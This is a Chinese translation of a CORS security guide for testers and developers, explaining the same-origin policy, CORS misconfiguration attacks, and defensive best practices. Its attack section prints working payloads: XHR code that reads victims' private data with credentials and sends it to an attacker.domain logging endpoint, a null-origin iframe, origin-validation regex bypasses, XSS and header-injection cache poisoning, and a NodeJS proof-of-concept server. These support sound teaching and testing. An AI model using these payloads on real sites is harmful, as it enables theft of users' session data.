cors安全完全指南
這篇文章翻譯自: ofollow,noindex">https://www.bedefended.com/papers/cors-security-guide
作者:Davide Danelon
譯者:聶心明
譯者部落格: https://blog.csdn.net/niexinming
版本:1.0 - 2018年-七月
1. _介紹
這個指南收集關於cors所有的安全知識,從基本的到高階的,從攻擊到防禦
1.1 _誰應該去讀這個文章
這個文章面向所有人:網站管理員,程式員,滲透測試,賞金獵人還有安全專家。
在這個文章種將會找到:
- 同源策略和跨域資源共享(cors)介紹摘要
- 主要內容,cors漏洞攻擊從入門到精通
- cors安全規範
2. 跨域資源共享(cors)
跨域資源共享(cors)可以放寬瀏覽器的同源策略,可以通過瀏覽器讓不同的網站和不同的伺服器之間通訊。
2.1 同源策略
同源策略在瀏覽器安全中是一種非常重要的概念,大量的客戶端指令碼支援同源策略,比如JavaScript。
同源策略允許執行在頁面的指令碼可以無限制的訪問同一個網站(同源)中其他指令碼的任何方法和屬性。當不同網站頁面(非同源)的指令碼試圖去互相訪問的時候,大多數的方法和屬性都是被禁止的。
這個機制對於現代web應用是非常重要的,因為他們廣泛的依賴http cookie來維護使用者許可權,伺服器端會根據cookie來判斷客戶端是否合法,是否能傳送機密資訊。
瀏覽器要嚴格隔離兩個不同源的網站,目的是保證資料的完整性和機密性。
“同源”的定義:
- 域名
- 協議
- tcp埠號
只要以上三個值是相同的,我們就認為這兩個資源是同源的。
為了更好的解釋這個概念,下面這個表將利用" http://www.example.com/dir/page.html"這個url作為示例,展示在同源策略控制下不同的結果
驗證url | 結果 | 原因 |
---|---|---|
http://www.example.com/dir/page.html | 成功 | 同域名,同協議,同主機 |
http://www.example.com/dir2/other.html | 成功 | 同域名,同協議,同主機 |
http://www.example.com:81/dir/other.html | 失敗 | 不同埠 |
https://www.example.com/dir/other.html | 失敗 | 不同協議 |
http://en.example.com/dir/other.html | 失敗 | 不同主機 |
http://example.com/dir/other.html | 失敗 | 不同主機 |
http://v2.www.example.com/dir/other.html | 失敗 | 不同主機 |
下面這個圖展示的是:如果不啟用cors的時候,惡意指令碼發出一個請求之後發生的事情

2.2 cors的出現
同源策略對於大型應用有太多的限制,比如有多個子域名的情況
現在已經有大量技術可以放寬同源策略的限制,其中有一種技術就是跨域資源共享(CORS)
CORS是一種機制,這種機制通過在http頭部新增欄位,通常情況下,web應用A告訴瀏覽器,自己有許可權訪問應用B。這就可以用相同的描述來定義“同源”和“跨源”操作。
CORS的標準定義是:通過設定http頭部欄位,讓客戶端有資格跨域訪問資源。通過伺服器的驗證和授權之後,瀏覽器有責任支援這些http頭部欄位並且確保能夠正確的施加限制。
主要的頭部欄位包含:“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
這個頭部欄位所列的“源”可以以訪客的方式給伺服器端傳送跨域請求並且可以讀取返回的文字,而這種方式是被同源策略所阻止的。
預設情況下,如果沒有設定“Access-Control-Allow-Credentials”這個頭的話,瀏覽器傳送的請求就不會帶有使用者的身份資料(cookie或者HTTP身份資料),所以就不會洩露使用者隱私資訊。
下面這個圖展示一個簡單的CORS請求流:

2.2.1 身份資料
伺服器端也會通知客戶端是否傳送使用者的身份資料(cookie或者其他身份資料),如果http頭部中的“Access-Control-Allow-Credentials”這個欄位被設定“true",那麼客戶端身份資料就會被髮送到目標的伺服器上
2.2.2
因為請求會修改資料(通常是GET以外的方法),在傳送這些複雜請求之前,瀏覽器會發送一個”探測“請求
cors預檢的目的是為了驗證CORS協議是否被理解,預檢的OPTION請求包含下面三個欄位
- “Access-Control-Request-Method”
- “Access-Control-Request-Headers”
- “Origin”
這些欄位會被瀏覽器自動的發給伺服器端。所以,在正常情況下,前端開發人員不需要自己指定此類請求。
如果伺服器允許傳送請求,那麼瀏覽器就會發送所需的HTTP資料包。
2.2.3 允許多個源
協議建議,可以簡單的利用空格來分隔多個源,比如:
Access-Control-Allow-Origin: https://example1.com https://example2.com
然而,沒有瀏覽器支援這樣的語法
通常利用萬用字元去信任所有的子域名也是不行的,比如:
Access-Control-Allow-Origin: *.example1.com
當前只支援用萬用字元來匹配域名,比如下面:
Access-Control-Allow-Origin: *
儘管瀏覽器可以支援萬用字元,但是不能同時將憑證標誌設定成true。
就像下面這種頭部配置:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
這樣配置瀏覽器將會報錯,因為在響應具有憑據的請求時,伺服器必須指定單個域,所不能使用萬用字元。簡單的使用萬用字元將有效的禁用“Access-Control-Allow-Credentials”這個欄位。
這些限制和行為的結果就是許多CORS的實現方式是根據“Origin”這個頭部欄位的值來生成“AccessControl-Allow-Origin”的值
2.2.4 其他相關的頭部欄位
還有一些關於CORS的頭部欄位,其中一個欄位是“Vary"
根據CORS的實施標準,當”Access-Control-Allow-Origin“是被動態產生的話,就要用”Vary: Origin“去指定。
這個頭部欄位向客戶端表明,伺服器端返回內容的將根據請求中”Origin“的值發生變化。如果如果未設定此標頭,則在某些情況下,它可能會被某些攻擊所利用,如在下一節中描述
3. _攻擊技術
這部分內容是一個給安全測試專家的指導書,來幫助他們測試CORS的安全性
3.1 過程
三個步驟測試CORS錯誤配置
- 識別
- 分析
- 利用
3.1.1 識別
首先,想要測試帶有CORS缺陷應用的首先條件是要找到開啟CORS的應用。
APIs一個不錯的選擇,因為他們經常和不同的域交換資訊。因此,通常情況下,介面會暴露一些資訊收集和資訊列舉的功能。
通常,當伺服器收到頭部帶有”Origin"欄位的請求的時候才會配置CORS,因此才會很容易的產生很多這樣型別的漏洞。
另外,如果客戶端收到返回報文的頭部包含“Access-Control-*”這樣的欄位,但是沒有定義源的話,那麼很可能返回報文的頭部是由請求報文中“Origin”這個欄位來決定的。
因此,找到候選人介面之後,就可以傳送頭部帶有“Origin”的資料包了。測試者應該試圖讓“Origin”欄位使用不同的值,比如不同的域名稱或者”null"。最好用一些的指令碼自動化的完成這些任務。
比如:
GET /handler_to_test HTTP/1.1 Host: target.domain Origin: https://target.domain Connection: close
然後看伺服器的返回報文頭部是否帶有“Access-Control-Allow-*”欄位
HTTP/1.1 200 OK … Access-control-allow-credentials: true Access-control-allow-origin: https://target.domain …
上面的返回報文表明,這個應用中的介面已經開啟了CORS這個功能。現在有必要對配置進行測試,以確定是否存在安全缺陷。
3.1.2 分析
識別出開啟的CORS功能的介面之後,就要儘可能的分析配置,以發現正確的利用方式。
在這個階段,開始fuzzing請求報文頭部中“Origin”這個欄位然後觀察伺服器的返回報文,目的是看哪些域是被允許的。
重要的是驗證,哪種型別的控制元件可以被控制,應用會返回哪種頭部欄位。
因此,測試者應該傳送傳送頭部欄位“Origin”包含不同值的請求傳送給伺服器端,看看攻擊者所控制的域名是否被允許。
GET /handler_to_test HTTP/1.1 Host: target.domain Origin: https://attaker.domain Connection: close
然後看伺服器的返回報文頭部是否帶有“Access-Control-Allow-*”欄位
HTTP/1.1 200 OK … Access-control-allow-credentials: true Access-control-allow-origin: https://attacker.domain …
在這次測試示例中,伺服器返回的報文頭部中已經表明完全信任“attacker.domain”這個域,並且可以向這個域中傳送使用者憑據。
3.1.3 利用
經過剛才對CORS的分析,我們已經準備好去利用那些配置錯誤的CORS應用了。
有時,當用戶憑據這個欄位沒有開啟的時候,可能需要其他的先決條件去利用這個問題。
下面的篇幅就詳細的講解一些特殊的利用技術。
3.2 有使用者憑據的利用
從一個攻擊者角度來看,看到目標應用的“AccessControl-Allow-Credentials”設定為“true”時是非常開心的。在這種情況下,攻擊者會利用配置錯誤去偷走受害人的隱私資料和敏感資料。
下面這個表簡要說明基於CORS配置的可利用性
“Access-Control-Allow-Origin” 值 | “Access-Control-Allow-Credentials” 值 | 是否可利用 |
---|---|---|
https://attacker.com | true | 是 |
null | true | 是 |
* | true | 是 |
3.2.1 洩露使用者資料
當“Access-Control-Allow-Credentials”設定為Ture時,利用這種CORS這種配置缺陷的基本技術就是建立一個JavaScript指令碼去傳送CORS請求,就像下面那樣:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open(“get”,”https://vulnerable.domain/api/private-data”,true); req.withCredentials = true; req.send(); function reqListener() { location=”//attacker.domain/log?response=”+this.responseText; };
用這樣的程式碼黑客就可以通過有缺陷的“日誌”介面偷到使用者資料。
當帶有目標系統使用者憑據的受害者訪問帶有上述程式碼的頁面的時候,瀏覽器就會發送下面的請求到“有漏洞伺服器”
GET /api/private-data HTTP/1.1 Host: vulnerable.domain Origin: https://attacker.domain/ Cookie: JSESSIONID=<redacted>
然後就會收到下面的返回資料
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Access-Control-Allow-Origin: https://attacker.domain Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials Vary: Origin Expires: Thu, 01 Jan 1970 12:00:00 GMT Last-Modified: Wed, 02 May 2018 09:07:07 GMT Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Content-Type: application/json;charset=ISO-8859-1 Date: Wed, 02 May 2018 09:07:07 GMT Connection: close Content-Length: 149 {"id":1234567,"name":"Name","surname":"Surname","email":"[email protected]","account":"ACT1234567","balance":"123456,7","token":"to p-secret-string"}
因為伺服器傳送了頭部欄位“Access-Control-Allow-*”給客戶端,所以,受害者瀏覽器允許包含惡意JavaScript程式碼的頁面訪問使用者的隱私資料。

3.3 沒有使用者憑據的利用方式
在這種情況下,目標應用允許通過傳送“Origin”去影響返回頭“Access-Control-Allow-Origin”的值,但是不允許傳輸使用者憑證
下面這個表簡要說明基於CORS配置的可利用性
“Access-Control-Allow-Origin” 值 | 是否可利用 |
---|---|
https://attacker.com | 是 |
null | 是 |
* | 是 |
如果不能攜帶使用者憑據的話,那麼就會減少攻擊者的攻擊面,並且很明顯的是,攻擊者將很難拿到使用者的cookie。此外,會話固定攻擊也是不可行的,因為瀏覽器會忽略應用設定的新的cookie。
3.3.1 繞過基於ip的身份驗證
實際的攻擊中總有意外,如果目標從受害者的網路中可以到達,但使用ip地址作為身份驗證的方式。這種情況通常發生在缺乏嚴格控制的內網中。
在這種場景下,黑客會利用受害者的瀏覽器作為代理去訪問那些應用並且可以繞過那些基於ip的身份驗證。就影響而言,這個類似於DNS重繫結,但會更容易利用。
3.3.2 客戶端快取中毒
這種配置允許攻擊者利用其他的漏洞。
比如,一個應用返回資料報文頭部中包含“X-User”這個欄位,這個欄位的值沒有經過驗證就直接輸出到返回頁面上。
請求:
GET /login HTTP/1.1 Host: www.target.local Origin: https://attacker.domain/ X-User: <svg/onload=alert(1)>
返回報文(注意:“Access-Control-Allow-Origin”已經被設定,但是“Access-Control-Allow-Credentials: true”並且“Vary: Origin”頭沒有被設定)
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.domain/ … Content-Type: text/html … Invalid user: <svg/onload=alert(1)
攻擊者可以把xss的exp放在自己控制的伺服器中的JavaScript程式碼裡面然後等待受害者去觸發它。
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://www.target.local/login',true); req.setRequestHeader('X-User', '<svg/onload=alert(1)>'); req.send(); function reqListener() { location='http://www.target.local/login'; }
如果在返回報文中頭部沒有設定“Vary: Origin”,那麼可以利用上面展示的例子,可以讓受害者瀏覽器中的快取中儲存返回資料報文(這要基於瀏覽器的行為)並且當瀏覽器訪問到相關URL的時候就會直接顯示出來。(通過重定向來實現,可以用“reqListener()”這個方法)

如果沒有CORS的話,上面的缺陷就沒法利用,因為沒有辦法讓受害者瀏覽器傳送自定義頭部,但是如果有了CORS,就可以用“XMLHttpRequest”做這個事情。
3.3.3 伺服器端快取中毒
另一種潛在的攻擊方式是利用CORS的錯誤配置注入HTTP頭部,這可能會被伺服器端快取下來,比如製造儲存型xss
下面是攻擊的利用條件:
- 存在伺服器端快取
- 能夠反射“Origin“頭部
- 不會檢查“Origin”頭部中的特殊字元,比如”\r"
有了上面的先決條件,James Kettle展示了http頭部注入的利用方式,他用這種方式攻擊IE/Edge使用者(因為他們使用“\r"(0x0d)作為的HTTP頭部欄位的終結符)
請求GET / HTTP/1.1 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
IE處理過後返回報文HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7
上面的請求不能直接拿來利用,因為攻擊者沒有辦法保證受害者瀏覽器會提前傳送畸形的頭部。
如果攻擊者能提前傳送畸形的“Origin”頭部,比如利用代理或者命令列的方式傳送,然後伺服器就會快取這樣的返回報文並且也會傳遞給其他人。
利用上面的例子,攻擊者可以把頁面的編碼變成”UTF-7",周所周知,這可能會引發xss漏洞
3.4 繞過技術
有時,需要信任不同的域或者所有的子域,所以開發者要用正則表示式或者其他的方法去驗證有效性。
下面的部分列出了一系列的“起源”,可以用來繞過某些驗證控制,以驗證“起源”頭的有效性。
下面的例子中的目標域一般指“target.local”。
3.4.1 NULL源
CORS的規範中還提到了“NULL”源。觸發這個源是為了網頁跳轉或者是來自本地HTML檔案。
目標應用可能會接收“null"源,並且這個可能被測試者(或者攻擊者)利用,意外任何網站很容易使用沙盒iframe來獲取”null“源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的iframe產生一個請求類似於下面這樣
GET /handler Host: target.local Origin: null
如果目標應用接收”null"源,那麼伺服器將返回類似下面的資料報文
HTTP/1.1 200 OK Acess-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
這種錯誤配置經常會碰到,所以會很方便的去嘗試它。
3.4.2 使用目標域名作為子域名
如果目標應用只檢查只檢查“Origin”中的字串是否包含“target.local”,那麼就可以在自己控制的伺服器上建立一個子域名。
用這樣的方式,請求一般產生自JavaScript程式碼,並且請求中的“Origin”會像下面這樣
Origin: https://target.local.attacker.domain
3.4.3 註冊一個同名的域名
假設,目標應用實現是基於下面的正則表示式去檢測“Origin”頭部的話:
^https?:\/\/.*\.?target\.local$
這樣的正則表示式包含一個問題,導則這樣的CORS配置都容易被攻擊。下面表格將分解正則表示式:
Part | 描述 |
---|---|
.* | 除了終止符的任何字元 |
\. | 一個點 |
? | 在這裡匹配一個“.”一次或者零次 |
這個?隻影響"."這個字串,因此在“target.local”前面的任何字串都是被允許的,而不管是否有"."把他們分開。
因此,只需要在“origin”末尾包含目標域名就可以繞過上面的限制(這個場景的的目標域名是“
target.local”),比如:
Origin: https://nottarget.local
攻擊者只需要註冊一個末尾包含目標域名的新域名就可以利用這樣的漏洞了。
3.4.4 控制目標的子域名
現在目標應用實現是基於下面的正則表示式去檢測“Origin”頭部的話:
^https?:\/\/(.*\.)?target\.local$
這個允許來自”target.local“的跨域訪問並且包含所有的子域名(來自HTTP和HTTPS協議)。
在這個場景中,如果攻擊者能控制目標的有效的子域名(比如:“subdomain.target.local”),比如接管一個子域名,或者找到一個有xss漏洞的子域名。攻擊者就可以產生一個有效的CORS請求。
3.4.5 第三方域名
有時一些第三方域名會被允許。如果黑客能在這些域名裡面上傳JavaScript指令碼的話,他們就可以攻擊目標了。
最有代表性的例子是,Amazon S3儲存桶的有時是被信任的。如果目標應用使用亞馬遜的服務,那麼來自亞馬遜S3儲存桶上的請求就會被信任。
在這種場景下,攻擊者會控制一個S3的儲存桶,並在上面放上惡意頁面。
3.4.6 使用特殊的特性
Corban Leo展示了一個比較有趣的研究,他在域名中插入一些特殊的字元來繞過一些限制。
這個研究員的特殊字元法只能用在Safari瀏覽器上。但是,我們進行了深入的分析,顯示其中一部分特殊字串也可以用在其他的瀏覽器中。
這種規避技術所面臨的問題是,在傳送請求之前,瀏覽器不總是會去驗證域名的有效性。因此,如果使用一些特殊的字串,那麼瀏覽器可能就不會提前傳送請求去驗證域名是否存在或者有效。
假設,目標應用實現是基於下面的正則表示式去檢測“Origin”頭部的話:
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
上面的正則表示式的意思是,允許所有“target.local”的子域名的跨域請求,並且這些請求可以來自於子域名的任意埠。
下面是正則表示式的分解:
Part | 描述 |
---|---|
[^\.\-a-zA-Z0-9] | 所有的字串包含".","-","a-z","A-Z","0-9" |
+ | 匹配前面的子表示式一次或多次 |
.* | 除了終止符的任何字元 |
這個正則表示式阻止前面例子中的攻擊,因此前面的繞過技術不會起作用(除非你控制了一給合法的子域名)
下面的截圖展示了返回報文中沒有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被設定。(使用前面的一種繞過技術)

因為,正則表示式匹配緊挨著的ASCII字母和".","-",在“target.local”後面的每一個字母都會被信任。

注意:當前瀏覽器只有Safari支援使用上面的域名(帶“{”那個字元的),但是如果目標應用的正則表示式能夠信任其他的特殊字母,那麼就可以使用CORS的錯誤配置去攻擊其他的瀏覽器啦。
下面這個表包含各個瀏覽器對特殊字元的“相容性”
(注意:僅包含至少一個瀏覽器允許的特殊字元)
特殊字元 | Chrome(v 67.0.3396) | Edge(v 41.16299.371) | Firefox(v 61.0.1) | Internet Explorer(v 11) | Safari(v 11.1.1) | |
---|---|---|---|---|---|---|
! | NO | NO | NO | NO | YES | |
= | NO | NO | NO | NO | YES | |
$ | NO | NO | YES | NO | YES | |
& | NO | NO | NO | NO | YES | |
' | NO | NO | NO | NO | YES | |
( | NO | NO | NO | NO | YES | |
) | NO | NO | NO | NO | YES | |
* | NO | NO | NO | NO | YES | |
+ | NO | NO | YES | NO | YES | |
, | NO | NO | NO | NO | YES | |
- | YES | NO | YES | YES | YES | |
; | NO | NO | NO | NO | YES | |
= | NO | NO | NO | NO | YES | |
^ | NO | NO | NO | NO | YES | |
_ | YES | YES | YES | YES | YES | |
` | NO | NO | NO | NO | YES | |
{ | NO | NO | NO | NO | YES | |
\ | NO | NO | NO | NO | YES | |
} | NO | NO | NO | NO | YES | |
~ | NO | NO | NO | NO | YES |
利用錢的準備:
- 泛解析域名要指向你的伺服器
- NodeJS:因為Apache和Nginx(開箱即用)不支援特殊的字元
建立一個serve.js 檔案var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
在相同的目錄下建立cors.html<html> <head><title>CORS PoC</title></head> <body onload="cors();"> <div align="center"> <h2>CORS Proof of Concept</h2> <textarea rows="15" cols="70" id="container"></textarea> </div> <script> function cors() { var req = new XMLHttpRequest(); req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true; req.send(); function reqListener() { document.getElementById("container").innerHTML = this.responseText; } } </script>
現在啟動NodeJS服務並且執行下面的指令:node serve.js &
如果目標應用使用上面的表示式實現對“Origin”過濾的話,那麼除了“.” 和“-“之外,“www.target.local”後面的每一個特殊字元都會被信任,因此當Safari瀏覽器完成的以下產生的有效請求後,攻擊者能夠從易受攻擊的目標中竊取資料。http://www.target.local{.<your-domain>/cors-poc
如果正則表示式支援下劃線的話,那麼可能其他的瀏覽器(在上面的表格中列出資料)也可以利用CORS配置錯誤了,就像下面的例子一樣:
http://www.target.local_.<your-domain>/cors-poc
想要看更多關於繞過的文章可以去: https://www.sxcurity.pro/advanced-cors-techniques/
4 _防禦技術
讓我們的看看如何正確配置CORS才能避免讓黑客從受害者中偷走敏感資料或者被攻擊者利用CORS配置繼續攻擊
4.1 一般守則
下面是處理CORS配置的最佳實踐
4.1.1 如果不必要就不要開啟CORS
首先,要仔細的評估是否開啟CORS。如果沒有必要,建議完全避免使用它,以免削弱SOP。
4.1.2 定義白名單
如果是絕對必要的話,要定義“源”的白名單。我更喜歡白名單,如果可能的話,不要使用正則表示式,因為根據前面的描述,正則表示式更容易出錯,導致CORS的配置錯誤。
不要配置“Access-Control-Allow-Origin”為萬用字元“*”,而且更重要的是,要嚴格效驗來自請求資料包中的“Origin”的值。
當收到跨域請求的時候,要檢查“Origin”的值是否是一個可信的源。
4.1.3 僅僅允許安全的協議
有必要驗證協議以確保不允許來自不安全通道(HTTP)的互動,否則中間人(MitM)將繞過應用是所使用的HTTPS
4.1.4 配置“VARY”頭部
要儘可能的返回"Vary: Origin"這個頭部,以避免攻擊者利用瀏覽器快取
4.1.5 如果可能的話避免使用“CREDENTIALS”
由於“Access-Control-Allow-Credentials”標頭設定為“true”時允許跨域請求中帶有憑證資料,因此只有在嚴格必要時才應配置它。此頭部也增加了CSRF攻擊的風險;因此,有必要對其進行保護。
要特別關注的實現的標準,如果沒有定義引數的話,那麼預設值很可能是“true”。要仔細閱讀官方文件,如果感覺模糊不清的話,就把值設定成“false".
4.1.6 限制使用的方法
通過“Access-Control-Allow-Methods”頭部,還可以配置允許跨域請求的方法,這樣可以最大限度地減少所涉及的方法,配置它始終是一個好習慣。
4.1.7 限制快取的時間
建議通過“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”頭部,限制瀏覽器快取資訊的時間。可以通過使用“Access-Control-Max-Age”標題來完成,該頭部接收時間數作為輸入,該數字是瀏覽器儲存快取的時間。配置相對較低的值(例如大約30分鐘),確保瀏覽器在短時間內可以更新策略(比如允許的源)
4.1.8 僅配置所需要的頭
最後一點,要僅在接收到跨域請求的時候才配置有關於跨域的頭部,並且確保跨域請求是合法的(只允許來自合法的源)
實際上,在其他情況下,如果沒有理由就不要配置這樣的頭部,這種方式可以減少某些使用者惡意利用的可能性。
4.2 配置和實施
很多軟體框架是允許使用CORS的,當使用這些解決方案的時候,我們要著重++注意預設值++(“origin” 和 “credentials”是否被明確的設定)因為有些預設值是不安全的
我們分析一些主要的軟體框架。下面這個表是總結的結果(注意:這僅指預設配置,在所有情況下都可以以安全的方式配置它們)


5. _引用:
- Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS (Accessed 2018-30-06).
- Wikipedia. Same-origin policy. https://en.wikipedia.org/wiki/Same-origin_policy (Accessed 2018-30-06).
- W3C. Cross-Origin Resource Sharing. https://www.w3.org/TR/cors/ (Accessed 2018-30-06).
- James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties 2018-30-06).
- Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ (Accessed 2018-30-06)
- Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/ (Accessed 2018-30-06).
- Corben Leo. Advanced CORS Exploitation Techniques. https://www.sxcurity.pro/advanced-cors-techniques/ (Accessed 2018-30-06)